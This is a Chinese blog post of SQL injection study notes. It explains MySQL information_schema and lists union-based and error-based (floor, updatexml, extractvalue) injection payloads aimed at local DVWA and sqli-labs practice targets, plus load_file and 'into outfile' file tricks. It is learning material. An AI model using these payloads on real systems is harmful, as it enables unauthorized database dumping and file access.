首页 > 数据库 >sql注入一些学习笔记

sql注入一些学习笔记

时间:2024-08-07 21:27:36浏览次数:13  
标签:information NAME 数据库 笔记 concat sql 注入 select schema

以下内容主要是作为自己学习笔记记录使用,可能会有错误,欢迎指正,所有内容仅供参考,部分名词内容解释来自其他博主或chatgpt,如有侵权,联系删除

一些基础的表
information_schema.schemata

  1. schemata_name其实就是databases

  2. Catalog_name
    每个Catalog包含多个Schema,每个Schema包含多个数据库对象(表、视图、字段等)
    如数据库对象表的全限定名可表示为:Catalog名.Schema名.表名 但部分数据库系统不支持

  3. DEFAULT_CHARACTER_SET_NAME和DEFAULT_COLLATION_NAME
    DEFAULT_CHARACTER_SET_NAME和DEFAULT_COLLATION_NAME会返回数据库默认的字符集和校对规则的名称。例如,DEFAULT_CHARACTER_SET_NAME可能返回"utf8",表示数据库默认的字符集是UTF-8编码,而DEFAULT_COLLATION_NAME可能返回"utf8_unicode_ci",表示数据库默认的校对规则是UTF-8的Unicode不区分大小写排序。

information_schema.tables
所有数据库中所有的表

前几个有用
TABLE_CATALOG:表所属的数据库名。
TABLE_SCHEMA:表所属的模式(也就是数据库名)。
TABLE_NAME:表的名称。
TABLE_TYPE:表的类型,例如"BASE TABLE"表示普通表,"VIEW"表示视图。
ENGINE:表的存储引擎,表示表的底层存储结构,例如"InnoDB"、"MyISAM"等。
VERSION:当前表的版本号。
ROW_FORMAT:表的行格式,表示表中数据的存储方式,例如"Dynamic"、"Fixed"等。
TABLE_ROWS:表中的行数。
AVG_ROW_LENGTH:表中平均行长度。
DATA_LENGTH:表中数据的总长度。
MAX_DATA_LENGTH:表中数据的最大长度。
INDEX_LENGTH:表中索引占用的空间长度

information_schema.columns
所有数据库中所有表的所有列

前几个有用
TABLE_CATALOG:列所属的数据库名。
TABLE_SCHEMA:列所属的模式(也就是数据库名)。
TABLE_NAME:列所属的表的名称。
COLUMN_NAME:列的名称。
ORDINAL_POSITION:列的顺序位置。
COLUMN_DEFAULT:列的默认值。
IS_NULLABLE:列是否允许为空,取值为"YES"或"NO"。
DATA_TYPE:列的数据类型,例如"int"、"varchar"等。
CHARACTER_MAXIMUM_LENGTH:字符型列的最大长度。
CHARACTER_OCTET_LENGTH:字符型列以字节为单位的最大长度。
NUMERIC_PRECISION:数值列的精度。
NUMERIC_SCALE:数值列的小数位数。
DATETIME_PRECISION:日期时间列的精度。
CHARACTER_SET_NAME:字符型列的字符集。
COLLATION_NAME:字符型列的校对规则。
后面几个表基本不用
information_schema.STATISTICS
内容:包含了当前数据库中所有表的索引统计信息,包括索引名称、列名、索引的基数(Cardinality)等。
作用:用于获取表的索引统计信息,可以用于优化查询和索引性能。
information_schema.KEY_COLUMN_USAGE
内容:包含了当前数据库中所有外键的信息,包括外键名称、关联的表和列等。
作用:用于查询表之间的外键关系,可以用于分析数据库的数据完整性。
**information_schema.ROUTINES **
内容:包含了当前数据库中所有存储过程和函数的信息,包括名称、类型、创建时间等。
作用:用于查询存储过程和函数的信息,可以用于管理和调用存储过程和函数。
**information_schema.VIEWS **
内容:包含了当前数据库中所有视图的信息,包括视图名称、定义的查询语句等。
作用:用于查询视图的信息,可以用于动态查询视图定义和属性。
**information_schema.USER_PRIVILEGES **
内容:包含了当前数据库中用户权限的信息,包括用户、主机、权限等。
作用:用于查询用户的权限信息,可以用于管理和审计用户的权限。

零星知识
"LIMIT 0, 1"语句用于在SQL中对结果集进行分页,其中第一个数字表示从哪一行开始检索,第二个数字表示要检索的行数。

user():当前数据库用户
database():当前数据库名
version():当前使用的数据库版本
@@datadir:数据库存储数据路径
concat():联合数据,用于联合两条数据结果。
group_concat():和 concat() 类似如
group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来
concat_ws():用法类似
hex() 和 unhex():用于 hex 编码解码
load_file():以文本方式读取文件,在 Windows 中,路径设置为 \
select xxoo into outfile '路径':权限较高时可直接写文件

注释# 和-- Url-- 后的空格要+所以填--+

分析字段数
1' order by 3#
1' union select 1,2,3#
一个个试,比如试到3

常用语句及解释
id=-1'union select 1,2,group_concat(schema_name) from information_schema.schemata--+
information_schema.schemata,存着其他各个数据库的信息。获得所有数据库名字。
-1' union select 1,2,table_name from information_schema.tables where table_schema= 'dvwa'#
获得数据库dvwa下所有表名字。

-1' union select 1,2, column_namefrom information_schema.columns where table_schema= 'dvwa' and table_name= 'users'#
目的是获得数据库dvwa下users表的所有列名
还可以show columns from dvwa.users

floor报错注入
是利用select count(),(floor(rand(0)2)) x from users group by x这个相对固定的语句格式,导致的数据库报错
具体原因参考https://www.cnblogs.com/kjcy8/p/16413428.html

构造
select 1 from (select count(),concat((payload),floor(rand(0)2))x from information_schema.tables group by x)a--+
(select count(),concat((payload),floor(rand(0)2))x from information_schema.tables group by x) a from后面用select语句构建表,并给予别名a
其中payload为你要插入的SQL语句,concat是聚合函数,使用聚合函数进行双注入查询时,会在错误信息中携带payload查询出来的信息。

updatexml报错注入
updatexml(目标xml文档,xml路径,更新的内容)
第二个参数 xml路径 是可操作的地方,xml文档中路径是用 /xxx/xxx/xxx/…这种格式,使用concat()拼接 ‘ / ‘ 效果相同,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
原理https://www.cnblogs.com/zhengna/p/12575676.html
有一点需要注意,update()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位
这里查询前5位示意:
select username from security.users where id=1 and updatexml('anything',concat('~',substring((select database()),1,5)),'anything');
如http://127.0.0.1/sql/Less-6/?id=1" and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
其中0x7e是ASCII编码,解码结果为~。

extractvalue()的报错注入
extractvalue (xml_data, xpath_expression)
xml_data: 包含XML数据的字段或表达式。
xpath_expression: XPath路径表达式,用于指定要提取值的位置。
无效的XPath表达式(xpath_expression)可能会导致报错。
构建and extractvalue(1, payload),比如
and ExtractValue(1, CONCAT('username:', (SELECT database())))
比如 and extractvalue(null,concat(0x7e,(select database()),0x7e));--+

标签:information,NAME,数据库,笔记,concat,sql,注入,select,schema
From: https://www.cnblogs.com/ltlearnweb/p/18347913

相关文章

  • sqli-labs-master 25-30关
    sqli-labs第25关由本题意可得过滤and和or,我用双写进行绕过,例如:infoorrmation,aandnd数据库名http://127.0.0.1/sqli-labs-master/Less-25/?id=-1%27%20union%20select%201,2,database()--+表名127.0.0.1/sqli-labs-master/Less-25/?id=-1'unionselect1,2,group_conca......
  • node.js: mysql con in vscode
    mysqlscript:droptable`vuedustu`;CREATETABLE`vuedustu`(`stuId`int(11)NOTNULLAUTO_INCREMENTcomment'学生编号',`stuname`varchar(255)DEFAULTNULLcomment'学姓姓名',`stusex`varchar(255)DEFAULTNULLcomment'性别',......
  • [Mysql]为什么性别不适合加索引
    大家都知道索引分聚集索引和非聚集索引,性别字段因为可重复肯定只能建立非聚集索引,然而因为非聚集索引叶子节点存储的是索引值和聚集索引值,需要回表。所以在性别这种辨别度较低的字段上建立索引,索引树可能只有两个节点,跟线性查找没有太大区别,并且因为回表的存在导致在聚集索引树和......
  • 使用dapper,因错误SQL字串拼接方式 导致的内存泄漏
    作者就职的公司在19年就开始使用.netcore并且部署到Linux上,这些年也遇到不少问题,有些问题都是使用土方法去解决,后面再慢慢写吧,准备将遇到的问题写成一个系列。 前情提要本次的项目是20年上线的储值卡系统,上线后发现内存缓慢增长(半个月涨到4G多),一直没有找到原因就让运维小伙伴......
  • HTML5+CSS3笔记(Xmind格式):第四天
    Xmind鸟瞰图:简单文字总结:HTML5+CSS3知识总结:媒体查询:  1.媒体查询格式:@media设备类型and设备特性  2.screen:设置屏幕  3.max-width(最大宽度),min-width(最小宽度)  4.可以通过媒体查询引入不同的css样式移动端布局方式:  1.静态布局  2.......
  • HTML5+CSS3笔记(Xmind格式):第三天
    Xmind鸟瞰图:简单文字总结:过渡transition:过渡属性过渡时间运动曲线何时开始 2D变形transform:  1.平移:translate(单位px)  2.缩放:scale(默认1,大于1放大,小于1缩小)  3.旋转:rotate(单位deg)  4.倾斜:skew(单位deg)3D变形transform:  1.rotateX......
  • HTML5+CSS3笔记(Xmind格式):第二天
    Xmind鸟瞰图:简单文字总结:新增选择器:  1.选择相邻兄弟  2.属性选择器  3.结构性伪类选择器  4.整体结构类型  5.标签结构类型  6.指定子元素的序号  7.文本选择伪元素  8.表单中使用的状态伪类选择器  9.内容追加伪元素  ......
  • SqlServer 主从复制错误分析--20598
    十年河东,十年河西,莫欺少年穷学无止境,精益求精1、在分发服务器执行如下脚本select*fromMSsubscriber_infoselect*fromMSpublications 2、选择分发数据库-distribution,执行如下脚本 sp_helpsubscriptionerrors'IZQY9C2TQSKGS9ZTEST','DBTEST','DbPiblish'......
  • node.js: mysql sequelize in WebStorm 2023.1
    mysql:select*fromtutorials;#CREATETABLEIFNOTEXISTS`tutorials`(`id`INTEGERNOTNULLauto_increment,`title`VARCHAR(255),`description`VARCHAR(255),`published`TINYINT(1),`createdAt`DATETIMENOTNULL,`updatedAt`DATETIMENOTNULL,PRIMA......
  • CentOs7 中mysql8 设置远程连接
    迁移csdnCentOs7中Mysql8.0设置远程连接1登陆Mysqlmysql-uroot-p输入密码2选择mysql数据库usemysql;在mysql数据库中存储了用户信息的user表3在mysql数据库的user表中查看当前root用户的相关信息selecthost,user,authentication_string,pluginfromus......